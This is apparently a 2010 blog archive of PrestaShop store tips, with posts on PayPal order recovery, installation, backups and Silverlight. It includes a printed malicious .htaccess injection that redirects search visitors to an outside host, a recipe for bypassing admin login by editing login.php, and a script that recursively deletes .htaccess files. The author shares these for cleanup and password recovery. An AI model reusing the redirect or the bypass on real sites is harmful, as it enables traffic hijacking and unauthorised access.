Sunday, September 26, 2010

PrestaShop Information - Prestashop templates and themes

What is PrestaShop template/themes?


PrestaShop theme is a pre-made template design for PrestaShop powered online store. Premium PrestaShop templates designed by experienced ecommerce template designers are by all means the best way to improve your web shop with professional look and appeal. You know - clothes count for first impressions. Same applies to your PrestaShop powered web store. Have your web eCommerce project favorably differ from your competitors with clean top-notch PrestaShop theme.



What is PrestaShop?


PrestaShop is a full-featured, cross-platform open-source eCommerce shopping cart solution for the Web 2.0 era. PrestaShop is free, is customizable, stable, and "weighs" only 2.2MB for a quick and easy installation. Combined with premium PrestaShop template it's by far the best eCommerce solution for small and medium online stores.



Buy Prestashop templates and themes at All Budget Shop


All Budget Shop presents PrestaShop themes from professional designers. PrestaShop shopping cart application is rapidly taking over eCommerce community in terms of popularity due to its clean modern architecture which makes it extremely lightweight and fast to use.
Somehow most of the open-source eCommerce solutions lack professional graphic design templates. That's where Template Monster steps in and contributes top quality PrestaShop templates to fit the need of store owners for pro designs

PrestaShop Tips - How to Create Order From Cart (Recover a Missed Order)

Free PrestaShop Modules/Addons/Modification
You can get this free modification here

The Problem


Your customer has paid but can't finalize an order? Your payment module sometimes does not work and your orders are lost?

Have you ever got in trouble that your customer placed an order, successfully paid the order, but the order does not show up on your back office? Yes, I have had more than one times got this problem. In that case, what you can do is manually create the order again or create the records via PhpMyAdmin.

If you are uing PrestaShop 1.3 or lower, then you can not find a good solution for above situations.

Solution


Here I modified the AdminCarts.php page so that you can create an order from shopping cart very easily by just one click.



Above screen shot of Cart Detail page with extended Order Recovery function.

Features


  • You can input Payment method, amount paid and transaction # for the order to generate.

  • You can create order for existing shopping cart by just one click.

  • If the cart already has an order generated, then this UI will be hidden to avoid duplicated order generated from same cart.

  • This UI only appears when customer info is available in the cart. So that you will not generate dummy orders.


  • Now a free version of addon is available for download.

    Saturday, September 25, 2010

    PrestaShop Tips - Payment recieved via Paypal, but order not showing up

    The Problem:
    I have a PrestaShop 1.3 website, it was working fine, but suddenly the following problem appeared.

    1. User can place an order without any error.
    2. The payment was also processed without any problem. I was using Paypal Module v1.6
    3. But there is no order record was created in my database

    There are multiple scenarios could cause the same problem, here I introduce a way yo help you identify your problem.

    Important
    PayPal has changed their “notify_url” behavior sometime recently. You must enable IPN at your Paypal account to get your Paypal module at PrestaShop work. If you disable IPN in your PayPal account no IPNs will be sent regardless of whether you pass a notify_url value.


    How to identify your problem
    Before I fixed the problem, first I tried to understand in what timing the order record is created. The order record is not created until the payment process is finished at Paypal and Paypal server send back payment information to following page:

    http://YouPrestaShopSite/modules/paypal/validation.php

    Based on the payment status from Paypal, the order record will be created and linked to the cart record. In order to identity the problem, you can add following line on the top of above file (at position of line 4) and then create an test order.


    mail("YouEmailAddress","Response From Paypal","Data from Paypal".print_r($_POST,true));


    Result
    1. If you can receive email and response data from Paypal, the problem is reside your website.
    2. If you do not receive email, it means Paypal server is not able to reach your server.

    In my case, the problem is scenario 2. I do not receive the email.
    I did following two things fixed my problem.
    1. At Paypal side, I changed my IPN setting
    Profile | Selling Preferences | Instant Payment Notification Preferences
    2. At PrestaShop back office, I uninstall the Paypal module v1.6 and re-install, re-config the module
    Modules | Paypal Module v1.6

    More information
    See my another post on how to add "Create Order" from cart to recover your missed orders. http://alvinjiang.blogspot.com/2010/09/prestashop-tips-how-to-create-order.html

    The post below has more information which help me a lot fix my problem.
    http://www.presto-changeo.com/content/10-fixing-paypal-problems

    Friday, September 24, 2010

    PrestaShop Information - New features for PrestaShop v1.4

    PrestaShop v1.4 Alpha

    Several new features have been incorporated into PrestaShop v.1.4, including:

    * Improved modules page in the Back-Office
    * Ability to translate the e-mails templates directly from the Back-Office
    * Customer service integrated into PrestaShop
    * Updated the text editing tool (TinyMCE)

    * Instant Search included
    * Editorial module enhanced
    * Ability to define additional shipping costs per product
    * Module displaying the estimated date of delivery
    * Ability to configure each carrier by price or by weight


    You can download PrestaShop v1.4 Alpha at Download PrestaShop

    PrestaShop Information - New payment module eWay


    The new eWay payment module for PrestaShop
    PrestaShop Addons publish this week a new payment module, eWAY.

    The EWAY Hosted Payment solution allows your customers to be redirected to a secure eWAY payment page via HTTP FORM POST. Customers will enter their credit card details and finalize their payment before being returned to your website.

    By PrestaShop: The module eWAY UK for PrestaShop has been developed by the PrestaShop Team, guaranteeing a full compatibility with PrestaShop e-commerce software.

    You can download the new module, please visit PrestaShop Addons

    About eWay

    eWAY is a global payment gateway company allowing businesses from Australia, New Zealand, United Kingdom and Europe to process credit card and debit cards directly from their online store on their website.

    eWAY provides a wealth of features and reporting to assist you to manage your online revenue, via the Business Centre. The Business Centre supports your eCommerce business by providing market leading transaction reports for all your online payments, as well as providing online charting to demonstrate your online payment trends. Processing refunds, manual payments, recharging a customer's credit card or resending an email receipt to a customer is easy with the Business Centre's Transaction Reports.

    PrestaShop Tips - How to reset or recovery back office admin password

    Have you ever forgot your back office admin password of PrestaShop website? The system provides "forgot password" function to help you reset your password and send email the new temporary password.

    But if the email function (SMTP) is not set correct, for example you installed PrestaShop at your home machine for development purpose, you will never receive the email. Here are two solutions to help you regain your access to your back office.

    Solutions 1: Modify DB using _COOKIE_KEY_ and MD5


    0. Please make sure you have access to the database.
    1. Please look up the _COOKIE_KEY_ from your configuration file /config/setting.inc.php
    2. RUN following SQL statement to your PrestaShop database to update your employee record.


    UPDATE ps_employee SET passwd = md5('_COOKIE_KEY_YOUNEWPASSWORD') WHERE email = 'YOUEMAILADDRESS';

    Note:
    x. Please replace _COOKIE_KEY_ with the value you looked up from setting.inc at 1.
    x. Please replace YOUNEWPASSWORD with you new password.
    x. Please replace YOUEMAILADDRESS with you real email address in your PrestaShop database table
    x. Please replace ps_employee with your real table name if you changed prefix at installation.

    Click below image to see more detailed instructions on how to create SQL statement.


    After running this SQL statement against your database via MyPhpAdmin. You should be able to login with the new password.

    Solution 2: Bypass authentication


    This solution works if you don't have database access. But in order to do so, you must have permission access and modify the source code of PrestaShop website. It doesn't matter via FTP tools or website control panel.

    How to do it:
    1. Connect to PrestaShop website via FTP or control panel file manager.
    2. Download following file from your website
    /YourPrestaShopRoot/admin/login.php

    Note:
    - Usually the admin folder is changed for security reason, in that case, please replace it with your correct folder name for admin.
    - If you have not changed your admin folder, please changed it immediately!

    3. Backup login.php file before you modify it.(make a copy)
    4. Change following line 52 (line number may different for different version)


    $employee = $employee->getByemail($email, $passwd);


    After change


    $employee = $employee->getByemail($email, NULL);

    5. upload the modified login.php file to your website and replace existing one.
    6. Now you can login to you back office with any password password that meets password criteria! (By default it requires at least 6 characters).
    7. After you login, go to change your password at "Employee" tab
    8. Restore the login.php file with one you backed up at above 3.

    Cautions!
    The methods introduced below are to by-pass authentication and gain access to your website. If you any other way to recovery your password, please do so. Here are some other ways to do.
    1. Use forgot password function of the system.
    2. Ask another admin to reset password for you.
    3. Above Solution 1 in this post

    Tuesday, September 21, 2010

    htaccess file hacked (hijacked) - How to cleanup

    Issues
    I have multiple websites working properly before I want sleep. But next morning suddenly all site encounter 500 - internal error and became unavailable. After investigation, I found all .htaccess files of my websites are modified by Hacker. The Hacker seems to redirect visitors from search engine to some other destination. Based on the report from my ISP, the hacker was entered via Joomla. If you are using Joomla, I suggest to upgrade it to latest version.

    Example of hijacked .htaccess file



    # exgocgkctswo
    RewriteEngine On
    RewriteCond %{REQUEST_METHOD} ^GET$
    RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(google\.|yahoo\.|bing\.|msn\.|yandex\.|ask\.|excite\.|altavista\.|netscape\.|aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.|lycos\.|search\.|metacrawler\.|rambler\.|mail\.|dogpile\.|ya\.|\/search\?).*$ [NC]
    RewriteCond %{HTTP_REFERER} !^.*(q\=cache\:).*$ [NC]
    RewriteCond %{HTTP_USER_AGENT} !^.*(Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$ [NC]
    RewriteCond %{HTTP_USER_AGENT} !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$ [NC]

    ...

    RewriteCond %{HTTP_USER_AGENT} !^.*(WinHTTP|WinNT4|WordPress|WOW64|WWWeasel|wwwster|yacy|Yahoo).*$ [NC]
    RewriteCond %{HTTP_USER_AGENT} !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$ [NC]
    RewriteCond %{HTTP_COOKIE} !^.*xccgtswgokoe.*$
    RewriteCond %{HTTPS} ^off$
    RewriteRule ^(.*)$ http://iamprotectedfrom.net/cgi-bin/r.cgi?p=10003&i=e0550346&j=308&m=1de1da928819b3ad82f33326bb185c45&h=%{HTTP_HOST}&u=%{REQUEST_URI}&q=%{QUERY_STRING}&t=%{TIME} [R=302,L,CO=xccgtswgokoe:1:%{HTTP_HOST}:10080:/:0:HttpOnly]
    # exgocgkctswo



    What you can see
    1. If you have existing .htaccess file, new lines as above will be added.
    If you don't have existing .htaccess file, a new .htaccess file was created.
    2. This happened in all folders and sub-folders


    In order to make my sites working properly, I had to restore all existing .htaccess files and remove un-necessary .htaccess files from all folders including image folders, script folders.

    Here are problems I faced:
    Problems:
    1. Too many folders and sub-folders, it is almost impossible to do it manually.
    2. You can only access via HTTP or FTP to your server, no server side command available.

    I contacted my ISP (internet service provider), I was told that it is not their responsibility. Then I searched on the internet, didn't found any useful information on how to cleanup. so I decided to cleanup by myself. I created a PHP script to remove all hijacked htaccess files.

    STEPS to clean up
    1. Backup the original contents part of my .htaccess file to other files if you have
    2. Run the script below to remove all .htaccess file from all folders recursively.
    3. CREATE NEW .htaccess file and copy/paste back content from you backup file if applicable.


    RemoveHTACCESS.php

    <?php

    function searchDir($dir) {
    $dhandle = opendir($dir);
    if ($dhandle) {
    // loop through it
    while (false !== ($fname = readdir($dhandle))) {
    // if the element is a directory, and
    // does not start with a '.' or '..'
    // we call searchDir function recursively
    // passing this element as a parameter
    if (is_dir( "{$dir}/{$fname}" )) {
    if (($fname != '.') && ($fname != '..')) {
    echo "<u>Searching Files in the Directory</u>: {$dir}/{$fname} <br />";
    searchDir("$dir/$fname");
    }
    // the element if it is a .htaccess file, we delete it
    } else {
    if($fname == ".htaccess")
    {
    echo "File: {$dir}/{$fname} <br />";
    unlink("{$dir}/{$fname}");
    }
    }
    }
    closedir($dhandle);
    }
    }

    searchDir(".");


    ?>


    Note:
    The script above will removed all .htaccess files in the folder and all its sub-folders. Please do it very carefully. You can try on a no unimportant folder first. Even I have tested many times, also used it for a few times to do the cleanup. But please take you own responsibility.

    Saturday, September 18, 2010

    PrestaShop Tips - How to install



    PrestaShop is an Open-Source e-commerce software, freely downloadable.Itbecomes more and more popular recently. Current versions: PrestaShop v.1.3.1 (stable) and PrestaShop v.1.4.0.1 (tests) as of today.

    Here are instructions on how to install PrestaShop.

    1. System Requirements
    No matter you will host you store at your own server, or use web hosting provider, please confirm the system requirements as following.

    * Linux, Unix, or Windows
    * Apache Web server
    * PHP 5.0 or later. (You may have to activate PHP 5 on your hosting service.)
    * MySQL 4.1.14 or later

    2. Download the PrestaShop e-Commerce solution software.
    You can download from here : http://www.prestashop.com/en/downloads/

    3. Unzip the PrestaShop ZIP archive anywhere on your hard drive, for example C:\PrestaShop\

    4. Upload the contents of the /prestashop folder to the root directory (e.g., http://www.myshop.com/) of your hosting server via FTP.

    There are a lot of free FTP tools available. You ca download Core FTP here
    http://www.coreftp.com/download.html

    5. Get your database server ready. You need following information for your PrestaShop.

    Database server name: (ask your service provider if you are not sure)
    Database name: (You will have to create by yourself via you control panel)
    Database user: (You will need to create one for your database)
    Database password: (It is created when you create your database)

    For more detail on how create database, look into online help your control.

    6. In a Web browser, launch the Installer by adding install to your shop's URL (for example,http://www.myshop.com/prestashop/install).

    6.1 Follow the guide, select default language and click "Next"


    6.2 The installer will check system reuuirment and give a report as below. If there is any issue, please fix the issue before you can go forward. If necessary, please conotact your provider.


    6.3 Input database information you prepare at step 5 and then click Next.


    6.4 Configre your store: your logo, admin user/password


    6.5 You are done. Your store is ready to use.



    7. Upon completing the PrestaShop Installer wizard, use your FTP software to navigate to your /prestashop folder.

    For security reason, it is recommended to delete the /install folder and rename the /admin folder (for example, /admin_xyz). You can confirm its name via your FTP browser even you forget in the future.

    Backup Data tips: How to back up your data using XCOPY

    There are a lot of free software and commercial software there to help you backup precious personal data. When it comes to restore, most of them are complicated and not easy to do when something really happened.

    Here I am introduce a very simple way of backup and that is very easy to implement and easy to restore.

    Features
    ============
    - Data in backup destination is just a copy of original file. Not saved in a special format, so you can just browse it as it as at your original place with using any tools.
    - All folder structure is the same as original folder structures,its easy to find your file you want.
    - Easy to restore. You can restore the folder or just some files by copy and paste.

    How to do
    ==========
    1. Create batch file use following command line.

    Command line example

    XCOPY C:\MyFolder\* N:\Backup\MyPCName\C\MyFolder\ /M /S /E /R /K /Y

    This command will only copy files that have ARCHIVE attribute on.
    It will reset ARCHIVE attribute to off.
    If the file is modified later, the ARCHIVE attribute will automatically on.

    2. Run your batch file.
    The first time, it will copy (backup) all files to you destination specified in your batch file. Later on, each time your run the batch, it will only copy the files that are changed to your destination.

    3. If you do the backup daily or at scheduled time automatically, you can use windows task scheduler. The task scheduler is very easy to use. You can access from

    Start | All Programs | Accessories | System Tools | Schedule Task


    For more information about XCOPY command please run "XCOPY /?" at DOS Command Window.
    For More information about windows task scheduler, please check help on your windows help.

    Friday, September 17, 2010

    PrestaShop news - News Letters #49

    Edito
    PrestaStore becomes PrestaShop Addons: a new name, but still many possibilities for extending and customizing your shop, and now better categorized to help you to find the module or theme you dream about, ever faster.

    Don’t forget that we will be attending the Salon E-Commerce Paris 2010, on September 21st, 22nd and 23rd 2010!

    PrestaStore becomes PrestaShop Addons

    PrestaStore changes its name and becomes PrestaShop Addons.
    Find all the extensions for PrestaShop on PrestaShop Addons that made the success of PrestaStore: over 330 modules, 400 themes, all dedicated to assisting you in the success of your e- commerce.

    New categories of modules have been introduced, such as Statistics and Analysis, Administration, Slideshows ... Altogether now, 20 categories of modules to improve your store!
    The themes are not left out and are now classified by categories of activities: art, beauty, fashion ... all sectors of e-commerce are gathered!


    About the developments...

    The 1.3.2 version of PrestaShop is approaching, and is going to be released very soon. This new version will be even richer and will contain many improvements and optimizations worked since the v.1.3.1. of PrestaShop, on some key points of the solution, such as management of rounding, catalog, and SEO.

    Many new features have been added into the 1.4 alpha version of PrestaShop this week, a version that already looks exceptional!
    PrestaShop v1.4 alpha


    * New version of TinyMCE (with possibility of including pictures and more easily integrated into the content)
    * Management of the EU VAT
    * New footer in the Back Office
    * Improved cookie encryption possibilities with mcrypt (more efficient)
    * Added management of the Iso numerical codes for currencies

    The complete list of modifications is available via the SVN.

    Thursday, September 9, 2010

    Silverlight Tips - Error : Can not create an instance of [YourUserControl]

    I have frequently come across following errors in XAML file which when you are using locally created Silverlight User Control. Locally means the User Control is created and used in your own silverlight application.

    Can not an instance of [Your control name].
    See the screen shot of error in Visual Studio.



    Even this error happens, the project still can compile and run without any problem.

    How Fix the errors.
    There multiple causes of this issue. My issue was caused by using BorderBrush="{StaticResource GenericBorderBrush}".
    'GenericBorderBrush' is defined in App.xaml. After I move the definition of 'GenericBorderBrush' to the top of the document (it was the last definition), the problem fixed. So I can now keep the use of BorderBrush="{StaticResource GenericBorderBrush}".

    So my conclusion: one of causes of error "Can not create an instance ..." is some incorrect definition in youe App.xaml which causes the definitions below it to fail.

    Hope this infomraiton helps

    Wednesday, September 8, 2010

    PrestaShop Tips - How to set featured products

    Most eCommerce shopping software has Featured Products functionality to highlight certain products on your homepage. This function is also available at PrestaShop. Here is the instructions on how to set up.


    A .To add a Featured Product to your Front Office homepage:
    1. Go to Back Office >> Catalog >> (Category >>) Product page
    2. On the Information tab, scroll down to the Catalog section.
    3. In the Catalog list, mark (tick on) the Home check box:
    4. Scroll down and click Save. The item will now display in the Featured Products section of your Front Office homepage.




    Note:To remove a Featured Product from the shop homepage, unmark (tick off) the Home check box in the Catalog section of its admin Product Page.



    B. Change maximum number of featured products
    In the default Theme, the maximum number of Featured Products displayed at any one time is ten (10). To change this, g

    1. Back Office >> Modules >> Featured Products on the homepage module
    2. Click "Configure"
    3. Change the number and click "Save"

    Sunday, September 5, 2010

    PrestaShop Tips - set up the RSS feed block module

    At PrestaShop, you can setup a RSS feed block to enrich the content of your web site.
    Before you can setup RSS feed block, you must get the URL of RSS feed that you want to add to your website.

    Here is the instructions on how to do this.

    1. Log in to your PrestaShop back office
    2. Click "Modules" tab
    3. Find the "RSS feed block v1.0" (version may different) from the list and click "Install"
    4. One the module is installed, the "configure" link will appear beside the module, click "configure", following screen will show up.
    5. Input required field and click "save". (screen1 below)
    6. Confirm your block at your front office.(screen2 below)